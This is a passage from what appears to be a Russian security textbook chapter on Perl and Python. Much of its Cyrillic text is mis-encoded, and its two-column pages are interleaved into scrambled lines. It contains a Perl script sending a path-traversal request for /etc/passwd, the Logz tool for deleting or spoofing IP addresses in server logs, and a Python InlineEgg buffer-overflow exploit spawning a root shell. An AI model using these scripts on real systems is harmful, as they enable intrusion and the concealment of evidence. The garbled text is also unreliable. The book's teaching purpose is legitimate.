Íèæå ïðèâåäåí ñïèñîê ìîäèôèêàòîðîâ ðåãóëÿðíûõ âûðàæåíèé â ÿçûêå Perl: çóëüòàòå âî âðåìÿ èñïîëíåíèÿ òàêîãî ôàéëà âåñü ÿçûê çàãðóæàåòñÿ â ïàìÿòü
 /e. Ñîîáùàåò, ÷òî ïðàâóþ ÷àñòü ðåãóëÿðíîãî âûðàæåíèÿ, íàïðèìåð, âìåñòå ñî ñöåíàðèåì. Îñíîâíîé íåäîñòàòîê òàêîãî ïîäõîäà â ðàçìåðå èñïîë-
â êîíñòðóêöèè s/// íåîáõîäèìî âû÷èñëÿòü âî âðåìÿ âûïîëíåíèÿ, à íå íÿåìîãî ôàéëà, îí âåñüìà âåëèê èç-çà òåõ ôàéëîâ, êîòîðûå äîëæíû áûòü
êîìïèëÿöèè; âêëþ÷åíû â «óïàêîâêó».
 /ee. Àíàëîãè÷åí ïðåäûäóùåìó ñ òåì îòëè÷èåì, ÷òî ñòðîêà ñïðàâà îò s/// Èç ñàìûõ èçâåñòíûõ êîìïèëÿòîðîâ Perl ìîæíî íàçâàòü:
äîëæíà áûòü ñíà÷àëà ñêîìïèëèðîâàíà, à çàòåì âûïîëíåíà êàê êîä;  ActiveState Perl Development Kit (www.activestate.com);
 /g. Óêàçûâàåò, ÷òî íåîáõîäèìî íàéòè âñå âõîæäåíèÿ îáðàçöà, à íå îñòà-  PerlCC (http://www.perl.com/doc/manual/html/utils/perlcc.html).
íàâëèâàòüñÿ íà ïåðâîì;
 /i. Ñîîáùàåò, ÷òî ïðè ñîïîñòàâëåíèè íå ñëåäóåò ó÷èòûâàòü ðåãèñòð áóêâ;
 /m. Ïîìîãàåò ïðè ïîèñêå â ñòðîêàõ, ñîäåðæàùèõ âíóòðè ñèìâîëû \n;
Я умею писать на Perl!
èíòåðïðåòèðóåò ìåòàñèìâîë ^ òàê, ÷òîáû îí ñîîòâåòñòâîâàë îáðàçöó ïå- Ïðèâåäåííûé íèæå êðîõîòíûé ñöåíàðèé – ýòî íå ÷òî èíîå, êàê ìîäèôèöè-
ðåä ñèìâîëîì íîâîé ñòðîêè, à ñèìâîë $ òàê, ÷òîáû îí ñîîòâåòñòâîâàë ðîâàííàÿ ïðîãðàììà «Çäðàâñòâóé, ìèð». Îí ïðèçâàí ëèøü äàòü ïðåäñòàâëå-
îáðàçöó ïîñëå ñèìâîëà íîâîé ñòðîêè; íèå î ñèíòàêñèñå ÿçûêà. Ñðåäíÿÿ ñòðîêà – ýòî êîììåíòàðèé.
 /o. Èíôîðìèðóåò î òîì, ÷òî ðåãóëÿðíîå âûðàæåíèå äîëæíî áûòü îò-
êîìïèëèðîâàíî òîëüêî îäèí ðàç; #! /usr/local/bin/perl
# Ìîé ïåðâûé ñöåíàðèé
 /s. Àíàëîãè÷åí /m, òàêæå ïîìîãàåò ïðè ïîèñêå â ñòðîêå ñ âíóòðåííèìè print ("ß óìåþ ïèñàòü íà Perl!");
ñèìâîëàìè \n. Íàñòðàèâàåò ìåòàñèìâîë '.' òàê, ÷òî îí ñîîòâåòñòâóåò
ñèìâîëó íîâîé ñòðîêè. Êðîìå òîãî, âêëþ÷àåò ðåæèì èãíîðèðîâàíèÿ Êàíîíè÷åñêàÿ àòàêà íà Web-ñåðâåð
óñòàðåâøåé ïåðåìåííîé $*;
Àòàêè íà Web-ñåðâåðû, íàïèñàííûå íà Perl (èõ îáû÷íî íàçûâàþò CGI-õàê), –
 /x. Îáû÷íî èñïîëüçóåòñÿ äëÿ âêëþ÷åíèÿ â ðåãóëÿðíîå âûðàæåíèå èãíîðè-
îäèí èç ïðîñòåéøèõ âèäîâ «ýêñïëîéòîâ». Äëÿ ëþáîé óÿçâèìîñòè, êîòîðàÿ
ðóåìûõ ïðîáåëîâ è êîììåíòàðèåâ. Õîòÿ ïðèìåíÿåòñÿ è íå ÷àñòî, íî ñïî-
ìîæåò áûòü àòàêîâàíà ñ ïîìîùüþ ââîäà óíèâåðñàëüíîãî èäåíòèôèêàòîðà ðå-
ñîáñòâóåò ñîçäàíèþ ïîíÿòíîãî è õîðîøî äîêóìåíòèðîâàííîãî êîäà.
ñóðñà (URI) â àäðåñíîé ñòðîêå áðàóçåðà, ëåãêî íàïèñàòü ñîîòâåòñòâóþùèé
ñöåíàðèé íà Perl.
Канонические инструменты, написанные на Perl
Пример 1.29. Каноническая атака на Web)сервер
 ýòîì ðàçäåëå ìû ïðîäåìîíñòðèðóåì íà ïðèìåðå íåñêîëüêèõ ñöåíàðèåâ íå-
1 #! /usr/local/bin/perl
êîòîðûå íàèáîëåå âàæíûå è øèðîêî ïðèìåíÿåìûå ñðåäñòâà ÿçûêà Perl. Ïðî- 2 # Êàíîíè÷åñêàÿ àòàêà íà Web-ñåðâåð
ôåññèîíàëû â îáëàñòè èíôîðìàöèîííîé áåçîïàñíîñòè ÷àñòî ïèøóò íà Perl 3 use IO::Socket;
ïðîãðàììû, äîêàçûâàþùèå æèçíåñïîñîáíîñòü òîé èëè èíîé èäåè, êîãäà íå 4 use strict;
òðåáóåòñÿ îñîáàÿ ýôôåêòèâíîñòü, ñîçäàþò «ýêñïëîéòû», óòèëèòû äëÿ òåñòèðî- 5 print "\nÏðî÷òèòå äëÿ íà÷àëà\n\n";
6 print "Ïîðÿäîê âûçîâà: canonical.pl target_ipaddress \n";
âàíèÿ äðóãèõ ïðîãðàìì è âûÿâëåíèÿ óÿçâèìîñòåé â Web-ïðèëîæåíèÿõ, à òàê- 7 my $host = $ARGV[0];
æå ñëîæíûå èíñòðóìåíòû íà áàçå ðåãóëÿðíûõ âûðàæåíèé. Êàê è â ñëó÷àå 8 my $port = 80;
áîëüøèíñòâà äðóãèõ èíòåðïðåòèðóåìûõ ÿçûêîâ, Perl-ñöåíàðèè íå ìîãóò áûòü 9 my $attack_string = " GET /cgi-bin/bad.cgi?
â ïîëíîì ñìûñëå îòêîìïèëèðîâàíû, òî åñòü ïðåâðàùåíû â äâîè÷íóþ ôîð- q=../../../../../../../../../../../etc/passwd%00\n\n";
ìó. Êîìïèëèðóåìûå ÿçûêè ïîçâîëÿþò íåñêîëüêî ïîâûñèòü áåçîïàñíîñòü çà 10 my $receivedline;
11 my @thedata;
ñ÷åò òîãî, ÷òî âîññòàíîâèòü èñõîäíûé òåêñò ïðîãðàììû íåëåãêî. 12 my $tcpval = getprotobyname('tcp');
Îäíàêî ñóùåñòâóåò íåñêîëüêî ïðîãðàìì äëÿ «êîìïèëÿöèè» Perl-ñöåíàðè- 13 my $serverIP = inet_aton($host);
åâ, òî÷íåå äëÿ ïðåâðàùåíèÿ èõ â íåïîñðåäñòâåííî èñïîëíÿåìûå ïðèëîæå- 14 my $serverAddr = sockaddr_in(80, $serverIP);
íèÿ. Ïî áîëüøåé ÷àñòè â íèõ èñïîëüçóåòñÿ òåõíèêà îáåðòûâàíèÿ, êîãäà áàçî- 15 my $protocol_name = "tcp";
90 Глава 1. Написание безопасных программ Язык Perl 91
16 my $iaddr = inet_aton($host) || 5 #January 2004
die print("Îøèáêà ïðè çàäàíèè àäðåñà õîñòà: $host"); 6
17 my $paddr = sockaddr_in($port, $iaddr) || 7 use Getopt::Std;
die print("Îøèáêà ïðè çàäàíèè öåëåâîãî ïîðòà èëè àäðåñà"); 8
18 my $proto = getprotobyname('tcp') || 9 getopts('d:t:rhs:l:') || usage();
die print("Îøèáêà ïðè ïîèñêå ïðîòîêîëà äëÿ ñîåäèíåíèÿ ñ ñîêåòîì"); 10
19 socket(SOC, PF_INET, SOCK_STREAM, $proto) || 11 $logfile = $opt_l;
die print("Îøèáêà ïðè ñîçäàíèè ñîêåòà!"); 12
20 connect(SOC, $paddr) || 13 ##########
die print("Îøèáêà ïðè óñòàíîâëåíèè ñîåäèíåíèÿ!"); 14
21 send(SOC,$attack_string,0); 15 if ($opt_h == 1)
22 @thedata=<SOC>; 16 {
23 close (SOC); 17 usage();
24 print "Ïîëó÷åíû ñëåäóþùèå äàííûå:\n";
18 }
25 foreach $receivedline(@thedata)
19 ##########
20
26 {
21 if ($opt_t ne "" && $opt_s eq "")
27 print "$receivedline";
22 {
28 }
23 open (FILE, "$logfile");
24
Àíàëèç 25 while (<FILE>)
26 {
 Âñå ïåðåìåííûå, íåîáõîäèìûå äëÿ ïðîâåäåíèÿ àòàêè, îïðåäåëÿþòñÿ 27 $ranip=randomip();
â ñòðîêàõ 7–18; 28 s/$opt_t/$ranip/;
  ñòðîêàõ 19–20 ñîçäàåòñÿ è èíèöèàëèçèðóåòñÿ ñîêåò, ÷åðåç êîòîðûé áó- 29 push(@templog,$_);
äåò ïîñûëàòüñÿ çàïðîñ ñèñòåìå-æåðòâå. Â ñòðîêå 21 ïîñûëàåòñÿ ñòðîêà 30 next;
çàïðîñà $attack_string, à â ñòðîêå 22 ïîëó÷åííûå îò ñåðâåðà ñòðîêè ñîõðà- 31 }
32
íÿþòñÿ â ìàññèâå @thedata; 33 close FILE;
 Íàêîíåö, â ñòðîêàõ 24–28 îòâåò âûâîäèòñÿ íà STDOUT. 34 open (FILE2, ">$logfile") || die("Íå ìîãó îòêðûòü");
35 print FILE2"@templog";
36 close FILE2;
Утилита модификации файла протокола 37 }
38 ##########
Âûøå óæå îòìå÷àëîñü, ÷òî ñèëüíîé ñòîðîíîé Perl ÿâëÿåòñÿ ìàíèïóëèðîâà-
39
íèå ñòðîêàìè. Ýòîò ÿçûê ïðîãðàììèðîâàíèÿ ñïîñîáåí àíàëèçèðîâàòü ñòðî- 40 if ($opt_s ne "")
êè, ïðîèçâîäèòü â íèõ ïîèñê è çàìåíó, ïîëüçóÿñü ëèøü ðåãóëÿðíûìè âû- 41 {
ðàæåíèÿìè. Ïðèìåð 1.30 äåìîíñòðèðóåò ïðèìåíåíèå ýòèõ âîçìîæíîñòåé; 42 open (FILE, "$logfile");
êðîìå òîãî, çäåñü ïîêàçàíî, êàê ìîæíî ãåíåðèðîâàòü ñëó÷àéíûå ÷èñëà è ñî- 43
44 while (<FILE>)
çäàâàòü ñòðîêè.  ïðèìåðå èñïîëüçóåòñÿ áèáëèîòå÷íûé ìîäóëü GetOpt, ïî-
45 {
ñòàâëÿåìûé âìåñòå ñ Perl. 46 s/$opt_t/$opt_s/;
47 push(@templog,$_);
Пример 1.30. Logz 48 next;
1 #!/usr/bin/perl 49 }
2 #Logz version 1.0 50
3 #By: James C. Foster 51 close FILE;
4 #Released by James C. Foster & Mark Burnett at BlackHat Windows 2004 52 open (FILE2, ">$logfile") || die("Íå ìîãó îòêðûòü");
in Seattle 53 print FILE2"@templog";
92 Глава 1. Написание безопасных программ Язык Perl 93
154 close FILE2; 103 {
155 104 print "\nLogz v1.0 – óíèâåðñàëüíàÿ óòèëèòà ìîäèôèêàöèè ïðîòîêîëîâ
156 } äëÿ Microsoft Windows \n";
157 ########## 105 print "Íàïèñàë: James C. Foster äëÿ BlackHat Windows 2004\n";
158 106 print "Èäåÿ: James C. Foster and Mark Burnett\n\n";
159 if ($opt_r ne "") 107 print "Ïîðÿäîê âûçîâà: $0 [-options *]\n\n";
160 { 108 print "\t-h\t\t: Ñïðàâêà\n";
161 open (FILE, "$logfile"); 109 print "\t-d IP-àäðåñ\t: Óäàëèòü çàïèñè ñ óêàçàííûì IP-àäðåñîì\n";
162 110 print "\t-r\t\t: Çàìåíèòü âñå IP-àäðåñà ñëó÷àéíûìè\n";
163 while (<FILE>) 111 print "\t-t öåëåâîé IP\t: ïîäìåíèòü öåëåâîé àäðåñ (ñëó÷àéíûì, åñëè
164 { èíîå íå óêàçàíî)\n";
165 $ranip=randomip(); 112 print "\t-s ïîääåëüíûé IP\t: ïîäìåíèòü öåëåâîé àäðåñ ýòèì
166 s/((\d+)\.(\d+)\.(\d+)\.(\d+))/$ranip/; (íåîáÿçàòåëüíûé ïàðàìåòð)\n";
167 push(@templog,$_); 113 print "\t-l ôàéë ïðîòîêîëà\t: ôàéë, êîòîðûé âû õîòèòå
168 next; ìîäèôèöèðîâàòü\n\n";
169 } 114 print "\tÏðèìåð: logz.pl -r -l IIS.log\n";
170 115 print "\t logz.pl -t 10.1.1.1 -s 20.2.3.219
171 close FILE; -l myTestLog.txt\n";
172 open (FILE2, ">$logfile") || die("Íå ìîãó îòêðûòü "); 116 print "\t logz.pl -d 192.10.9.14 IIS.log\n";
173 print FILE2"@templog"; 117 }
174 close FILE2; 118 #ñãåíåðèðîâàòü ñëó÷àéíûé IP-àäðåñ
175 } 119
176 ########## 120 sub randomip
177 121 {
178 if ($opt_d ne "") 122 $a = num();
179 { 123 $b = num();
180 open (FILE, "$logfile"); 124 $c = num();
181 125 $d = num();
182 while (<FILE>) 126 $dot = '.';
183 { 127 $total = "$a$dot$b$dot$c$dot$d";
184 128 return $total;
185 if (/.*$opt_d.*/) 129 }
186 { 130
187 next; 131 sub num
188 } 132 {
189 133 $random = int( rand(230)) + 11;
190 push(@templog,$_); 134 return $random;
191 next; 135 }
192
193
194
}
Ðåçóëüòàò âûïîëíåíèÿ
195 close FILE; Logz v1.0 – óíèâåðñàëüíàÿ óòèëèòà ìîäèôèêàöèè ïðîòîêîëîâ äëÿ Microsoft
196 open (FILE2, ">$logfile") || die("Íå ìîãó îòêðûòü"); Windows
Íàïèñàë: James C. Foster äëÿ BlackHat Windows 2004
197 print FILE2 "@templog";
Èäåÿ: James C. Foster and Mark Burnett
198 close FILE2;
Ïîðÿäîê âûçîâà: $0 [-options *]
199 }
100 ########### -h : Ñïðàâêà\n";
101 -d IP-àäðåñ : Óäàëèòü çàïèñè ñ óêàçàííûì IP-àäðåñîì
102 sub usage -r : Çàìåíèòü âñå IP-àäðåñà ñëó÷àéíûìè
94 Глава 1. Написание безопасных программ Язык Perl 95
-t öåëåâîé IP : Ïîäìåíèòü öåëåâîé àäðåñ (ñëó÷àéíûì, åñëè èíîå íå óêàçàíî Åñëè ôàéë óäàëîñü îòêðûòü, òî â ñòðîêå 35 âðåìåííûé ìàññèâ ñáðàñûâàåòñÿ
-s ïîääåëüíûé IP : Ïîäìåíèòü öåëåâîé àäðåñ ýòèì (íåîáÿçàòåëüíûé
ïàðàìåòð) â ýòîò ôàéë. Ïîñëå ýòîãî ôàéë çàêðûâàåòñÿ è ìîæåò áûòü èñïîëüçîâàí äëÿ
-l ôàéë ïðîòîêîëà : Ôàéë, êîòîðûé âû õîòèòå ìîäèôèöèðîâàòü äðóãèõ öåëåé.
 ñòðîêå 40 ïðîâåðÿåòñÿ, ÷òî çàäàí ôëàã -s, òî åñòü ïîëüçîâàòåëü óêàçàë
Ïðèìåð: logz.pl -r -l IIS.log
logz.pl -t 10.1.1.1 -s 20.2.3.219 -l myTestLog.txt ïîääåëüíûé IP-àäðåñ, êîòîðûì õî÷åò çàìåíèòü öåëåâîé àäðåñ. Åñëè ýòî òàê,
logz.pl -d 192.10.9.14 IIS.log òî â ñòðîêå 42 îòêðûâàåòñÿ ôàéë ïðîòîêîëà.
Öèêë while â ñòðîêàõ 44–49 ïî÷òè íå îòëè÷àåòñÿ îò ðàññìîòðåííîãî âûøå
Àíàëèç (ñòðîêè 25–31). Íî òåïåðü ñëó÷àéíîå ÷èñëî íå ãåíåðèðóåòñÿ, à âñå âõîæäåíèÿ
 ñòðîêå 7 èìïîðòèðóåòñÿ ìîäóëü GetOpt. Îí îáëåã÷àåò ðàçáîð êîìàíäíîé öåëåâîãî àäðåñà ïîäìåíÿþòñÿ ñòðîêîé, çàäàííîé ôëàãîì -s.
ñòðîêè. Çíà÷åíèÿ, ñëåäóþùèå çà ôëàãàìè, ïîìåùàþòñÿ â ñîîòâåòñòâóþùóþ ïå-  ñòðîêàõ 52–54 âûïîëíÿþòñÿ îïåðàöèè çàïèñè, àíàëîãè÷íûå ðàññìîòðåí-
ðåìåííóþ opt_ (íàïðèìåð, â ðåçóëüòàòå ðàçáîðà êîìàíäíîé ñòðîêè /devel/]$ íûì âûøå. Â ñòðîêå 51 çàêðûâàåòñÿ èñõîäíûé ôàéë. Çàòåì ñöåíàðèé ïûòàåòñÿ
command -r user áóäåò ñîçäàíà ïåðåìåííàÿ $opt_r, çíà÷åíèå êîòîðîé ðàâíî user). îòêðûòü òîò æå ôàéë äëÿ çàïèñè è ïåðåïèñàòü åãî ñîäåðæèìîå äàííûìè, ñî-
 ñòðîêå 9 ôóíêöèÿ getopts èçâëåêàåò àðãóìåíòû èç êîìàíäíîé ñòðîêè. Òå õðàíåííûìè âî âðåìåííîì ìàññèâå. Çàòåì ôàéë çàêðûâàåòñÿ.
ôëàãè, çà êîòîðûìè ñëåäóåò äâîåòî÷èå ':', òðåáóþò íàëè÷èÿ çíà÷åíèÿ; ïðî÷èå  ñòðîêàõ 63–75 âñå IP-àäðåñà â ôàéëå ïîäìåíÿþòñÿ ñëó÷àéíûìè. Îïåðàöèÿ
ôëàãè ïðåäñòàâëÿþò ñîáîé ïðîñòî áóëåâñêèå âåëè÷èíû. Ïîçæå çíà÷åíèÿ çàìåíû âûïîëíÿåòñÿ òàê æå, êàê è âûøå.
ôëàãîâ áóäóò èñïîëüçîâàíû â ïðîãðàììå. Åñëè íå çàäàíî íèêàêèõ àðãóìåí-  ñòðîêå 65 ãåíåðèðóåòñÿ ñëó÷àéíûé IP-àäðåñ. Çàòåì (ñòðîêà 66) ïðîèçâî-
òîâ, ñöåíàðèé ïå÷àòàåò ñïðàâêó î ïîðÿäêå çàïóñêà. äèòñÿ ñîïîñòàâëåíèå ñ îáðàçöîì ((\d+).(\d+).(\d+).(\d+)), òî åñòü èùóòñÿ
 ñòðîêå 11 äåìîíñòðèðóåòñÿ ïåðâîå èñïîëüçîâàíèå ïðî÷èòàííîãî çíà÷å- IP-àäðåñà. Ïîñëåäîâàòåëüíîñòü \d+ ïðåäñòàâëÿåò îäíó èëè áîëåå öèôð.  äàí-
íèÿ ôëàãà. Ñ ïîìîùüþ ôëàãà -l çàäàåòñÿ èìÿ ôàéëà ïðîòîêîëà, ïîäëåæàùåãî íîì ñëó÷àå ìû èùåì öåïî÷êó öèôð, çà êîòîðîé ñëåäóåò òî÷êà, çà êîòîðîé ñëå-
ìîäèôèêàöèè.  ïåðåìåííóþ $logfile êîïèðóåòñÿ çíà÷åíèå ïåðåìåííîé opt_l, äóåò åùå îäíà öåïî÷êà öèôð, è òàê ÷åòûðå ðàçà. Íàéäåííàÿ ñòðîêà ñ÷èòàåòñÿ
ñîäåðæàùåå, â ñâîþ î÷åðåäü, çíà÷åíèå ôëàãà -l. IP-àäðåñîì, âìåñòî êîòîðîãî ïîäñòàâëÿåòñÿ ñëó÷àéíûé àäðåñ.
 ñòðîêàõ 15–18 ñöåíàðèé ïðîâåðÿåò, åñòü ëè â êîìàíäíîé ñòðîêå ôëàã -h, è  ñòðîêàõ 71–74 ôàéë ïðîòîêîëà çàêðûâàåòñÿ, çàòåì îòêðûâàåòñÿ ñíîâà,
ïðè âûïîëíåíèè óñëîâèÿ ïå÷àòàåò ñîîáùåíèå î ïîðÿäêå âûçîâà. è â íåãî çàïèñûâàåòñÿ ñîäåðæèìîå âðåìåííîãî ìàññèâà.
 ñòðîêå 21 ïðîâåðÿåòñÿ, ÷òî çàäàí ôëàã -t è îäíîâðåìåííî íå çàäàí ôëàã -  ñòðîêå 78 ñöåíàðèé ïðîâåðÿåò, áûë ëè çàäàí ôëàã -d.  ýòîì ñëó÷àå íåîá-
s. Ýòî îçíà÷àåò, ÷òî ïîëüçîâàòåëü íå õî÷åò ÿâíî óêàçûâàòü ïîääåëüíûé IP- õîäèìî óäàëèòü èç ïðîòîêîëà âñå ñòðîêè, â êîòîðûõ âñòðå÷àåòñÿ óêàçàííûé
àäðåñ, à õî÷åò âìåñòî ýòîãî çàìåíèòü âñå àäðåñà â ôàéëå ñëó÷àéíûìè. IP-àäðåñ.
 ñòðîêå 23 îòêðûâàåòñÿ ôàéë ïðîòîêîëà, èìÿ êîòîðîãî çàäàíî ïàðàìåò-  ñòðîêå 80 ôàéë îòêðûâàåòñÿ, è â óæå çíàêîìîì öèêëå while îáðàáàòûâà-
ðîì -l, è åãî îïèñàòåëü ñîõðàíÿåòñÿ â ïåðåìåííîé FILE. þòñÿ âñå åãî ñòðîêè. Îñíîâíîå ðàçëè÷èå çàêëþ÷åíî â ñòðîêàõ 85–88. Åñëè
 ñòðîêàõ 25–31 âûïîëíÿåòñÿ öèêë äëÿ çàìåíû öåëåâîãî IP-àäðåñà ñëó÷àé- â ñòðîêå âñòðå÷àåòñÿ óêàçàííûé IP-àäðåñ, òî îíà íå çàïèñûâàåòñÿ âî âðåìåí-
íûì. Äëÿ ýòîãî èç ôàéëà ÷èòàåòñÿ ïî îäíîé ñòðîêå (ñòðîêà 26) è ãåíåðèðóåòñÿ íûé ìàññèâ. Òàêèì îáðàçîì, âî âðåìåííîì ìàññèâå îêàæóòñÿ òîëüêî ñòðîêè,
ñëó÷àéíûé àäðåñ rani p ñ ïîìîùüþ ôóíêöèè randomi p(), îïðåäåëåííîé â êîí- íå ñîäåðæàùèå ýòîãî àäðåñà.
öå ñöåíàðèÿ. Çàòåì â ñòðîêàõ 95–98 âìåñòî ñòàðîãî ôàéëà ïðîòîêîëà çàïèñûâàåòñÿ
 ñòðîêå 29 öåëåâîé àäðåñ, çàäàííûé ôëàãîì -t, ïîäìåíÿåòñÿ ñëó÷àéíûì àä- íîâûé.
ðåñîì rani p. Â ñòðîêå 30 òîëüêî ÷òî èçìåíåííàÿ ñòðîêà ôàéëà ïîìåùàåòñÿ âî Â ñòðîêàõ 102–117 îïðåäåëåíà ôóíêöèÿ usage(), êîòîðàÿ âûâîäèò ñîîáùå-
âðåìåííûé ìàññèâ, êîòîðûé ïîçæå áóäåò âûâåäåí. Äëÿ çàìåíû ïðèìåíÿåòñÿ íèå î ïîðÿäêå çàïóñêà ñöåíàðèÿ. Ýòà ôóíêöèÿ âûçûâàåòñÿ â ñëó÷àå, åñëè çàäàí
êîìàíäà s/<èñêîìàÿ_ñòðîêà>/<ñòðîêà_çàìåíû>. ôëàã -h, à òàêæå òîãäà, êîãäà óêàçàííûå â êîìàíäíîé ñòðîêå ïàðàìåòðû íåêîð-
Äàëåå â öèêëå îáðàáàòûâàåòñÿ ñëåäóþùàÿ ñòðîêà ôàéëà è òàê äî òåõ ïîð, ðåêòíû.
ïîêà âåñü ôàéë íå áóäåò ïðî÷èòàí.  ñòðîêå 33 ôàéë çàêðûâàåòñÿ.  ñòðîêàõ 118–135 îïðåäåëåíû ôóíêöèè randomi p() è num(). Îíè íóæíû
 ñòðîêå 34 îòêðûâàåòñÿ äëÿ çàïèñè òîò æå ôàéë, êîòîðûé áûë çàäàí ôëà- äëÿ ãåíåðàöèè ñëó÷àéíûõ IP-àäðåñîâ è èñïîëüçóþòñÿ â ðàçíûõ ìåñòàõ ñöåíà-
ãîì -l. Åãî îïèñàòåëü ñîõðàíÿåòñÿ â ïåðåìåííîé FILE2. Åñëè îòêðûòü ôàéë íå ðèÿ Logz. Ôóíêöèÿ num() ïîðîæäàåò ñëó÷àéíîå ÷èñëî â äèàïàçîíå îò 11 äî
óäàåòñÿ, ñöåíàðèé çàâåðøàåòñÿ ñ ñîîáùåíèåì: «Íå ìîãó îòêðûòü». 241 (ñòðîêà 133). Ôóíêöèÿ randomi p() âûçûâàåò num() ÷åòûðå ðàçà äëÿ ïîëó÷å-
96 Глава 1. Написание безопасных программ Язык Python 97

íèÿ ÷åòûðåõ îêòåòîâ IP-àäðåñà. Ïîñëå òîãî êàê âñå ÷åòûðå îêòåòà ïîëó÷åíû
(ñòðîêè 122–125), èç íèõ â ïåðåìåííîé $total ôîðìèðóåòñÿ ïîëíûé IP-àäðåñ Примечание
(ñòðîêà 127), êîòîðûé è âîçâðàùàåòñÿ âûçûâàþùåé ôóíêöèè.
Быстро набирает популярность в области безопасности инструмен
тальная программа CANVAS, написанная Дейвом Эйтелом (Dave Aitel).
Язык Python В качестве интерпретатора для сценариев содержащихся в ней «экс
плойтов» используется Python. CANVAS – это набор «эксплойтов»,
ßçûê Python ïðèäóìàë Ãâèäî âàí Ðîññóì (Guido Van Rossum) â 1990 ãîäó. Åãî который вы можете выполнить, чтобы оценить степень защищенно
ïåðâàÿ «îôèöèàëüíàÿ» âåðñèÿ áûëà îïóáëèêîâàíà â 1991 ãîäó. Â íàçâàíèè ÿçû- сти своей системы. Информацию об этой программе и ее исходный
êà íàøëî îòðàæåíèå óâëå÷åíèå âàí Ðîññóìà ôèëüìàìè Ìîíòè Ïèòîíà. Ïîíà- текст можно найти на сайте www.immunitysec.com. CANVAS постав
÷àëó Python íå ïîëó÷èë òàêîé æå ìîùíîé ïîääåðæêè, êàê Perl. Íî ñî âðåìå- ляется с исходным текстом, если вы купите хотя бы одну пользова
íåì ÷èñëî åãî ïðèâåðæåíöåâ ðîñëî, à â 1994 ãîäó â ñåòè Usenet áûëà ñîçäàíà тельскую лицензию.
êîíôåðåíöèÿ comp.lang.python.  îòëè÷èå îò ëèöåíçèè GNU, Python ñ ñàìîãî
íà÷àëà âûïóñêàëñÿ íà óñëîâèÿõ ïîëíîé è áåçóñëîâíîé áåñïëàòíîñòè, äëÿ íåãî
íå ñóùåñòâîâàëî íèêàêèõ ëèöåíçèé. íî ãîâîðÿ, CORE SDI ñîçäàëà ëó÷øèé èíñòðóìåíò äëÿ ñîçäàíèÿ shell-êîäà èç
Êàê è ëþáîé äðóãîé ÿçûê ñöåíàðèåâ, Python ñòàâèë ïåðåä ñîáîé çàäà÷ó óñ- èìåþùèõñÿ íà ðûíêå. Ïðèìåð 1.30 çàèìñòâîâàí èç äîêóìåíòàöèè ê ïàêåòó
êîðèòü ðàçðàáîòêó ïðèëîæåíèé. Áóäó÷è èíòåðïðåòèðóåìûì ÿçûêîì, Python Inl ineEgg è ïðèçâàí ïîêàçàòü, êàê ýôôåêòèâíî ìîæíî ïðèìåíÿòü Python
íóæäàåòñÿ â èíòåðïðåòàòîðå äëÿ âûïîëíåíèÿ ñöåíàðèåâ. Íà äàííûé ìîìåíò â êîììåð÷åñêèõ ïðèëîæåíèÿõ.
ñóùåñòâóåò äâà òàêèõ èíòåðïðåòàòîðà. Ïîëó÷èòü èñ÷åðïûâàþùóþ èíôîðìà-
öèþ îá îáîèõ è çàãðóçèòü ïðîãðàììó ìîæíî ñî ñëåäóþùèõ ñàéòîâ: Пример 1.30. Использование пакета InlineEgg
1 from inlineegg.inlineegg import *
 www.python.org; 2 import socket
 www.activestate.com. 3 import struct
4 import sys
Ñöåíàðèè, íàïèñàííûå íà ÿçûêå Python, ìîæíî èñïîëíÿòü âî ìíîãèõ îïå- 5
ðàöèîííûõ ñèñòåìàõ, â òîì ÷èñëå Microsoft Windows è ìíîãî÷èñëåííûõ âà- 6 def stdinShellEgg():
ðèàöèÿõ UNIX, Linux è Mac. 7 # egg = InlineEgg(FreeBSDx86Syscall)
Python – ýòî îáúåêòíî-îðèåíòèðîâàííûé ÿçûê, ïîçâîëÿþùèé ñîçäàâàòü 8 # egg = InlineEgg(OpenBSDx86Syscall)
9 egg = InlineEgg(Linuxx86Syscall)
êëàññû, îáúåêòû è ìåòîäû. Îí ëåãêî âñòðàèâàåòñÿ â äðóãèå ÿçûêè è ðàñøèðÿ-
10
åòñÿ çà ñ÷åò ìîäóëåé, íàïèñàííûõ íà äðóãèõ ÿçûêàõ.  öåëîì Python – ýòî èñ- 11 egg.setuid(0)
êëþ÷èòåëüíî ìîùíûé ÿçûê, êîòîðûé âçÿëè íà âîîðóæåíèå òàêèå êîìïàíèè, 12 egg.setgid(0)
êàê Information Security, Bioinformatics è Appl ied Mathematics. Ñâîåé ïîïóëÿð- 13 egg.execve('/bin/sh',('bash','-i'))
íîñòüþ îí îáÿçàí ïðîñòîìó èíòåðôåéñó äëÿ ïðèêëàäíûõ ïðîãðàìì (API), âîç- 14
15 print "Egg len: %d" % len(egg)
ìîæíîñòüþ ïðîãðàììèðîâàòü íà íèçêîì óðîâíå è óäà÷íîìó èíòåðôåéñó 16 return egg
ê ñîêåòàì. 17
18 def main():
19 if len(sys.argv) < 3:
Пакет InlineEgg 20 raise Exception, "Usage: %s <target ip> <target port>"
21
Ïàêåò Inl ineEgg ñîçäàí èññëåäîâàòåëüñêîé ãðóïïîé CORE SDI. Ýòîò äèíàìè÷-
22 sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
íûé è ðàñøèðÿåìûé êàðêàñ äëÿ ñîçäàíèÿ «ýêñïëîéòîâ» âõîäèò â ëèíåéêó åå 23 sock.connect((sys.argv[1], int(sys.argv[2])))
ïðîäóêòîâ. Ïàêåò ìîæåò ñîçäàâàòü shell-êîä äëÿ ìíîãèõ ñèñòåìíûõ âûçîâîâ íà 24
ðàçëè÷íûõ ïëàòôîðìàõ è âíåäðÿòü åãî ñ ïîìîùüþ Python-ñöåíàðèåâ. ×åñò- 25 egg = stdinShellEgg()
98 Глава 1. Написание безопасных программ Язык Python 99
26 7 # egg = InlineEgg(FreeBSDx86Syscall)
27 retAddr = struct.pack('<L',0xbffffc24L) 8 # egg = InlineEgg(OpenBSDx86Syscall)
28 toSend = "\x90"*(1024-len(egg)) 9 egg = InlineEgg(Linuxx86Syscall)
29 toSend += egg.getCode() 10
30 toSend += retAddr*20 11 # s = egg.socket(2,1)
31 12 # egg.connect(s,('127.0.0.1',3334))
32 sock.send(toSend) 13
33 14 sock = egg.save(-1)
34 main() 15
16 # Íà÷àëî öèêëà
Àíàëèç 17 loop = egg.Do()
18 loop.addCode(loop.micro.inc(sock))
 ñòðîêå 1 èç ôàéëà inl ineegg èìïîðòèðóåòñÿ êëàññ inl ineegg, íåîáõîäèìûé äëÿ 19 lenp = loop.save(0)
ðàáîòû ñöåíàðèÿ. 20 err = loop.getpeername(sock,0,lenp.addr())
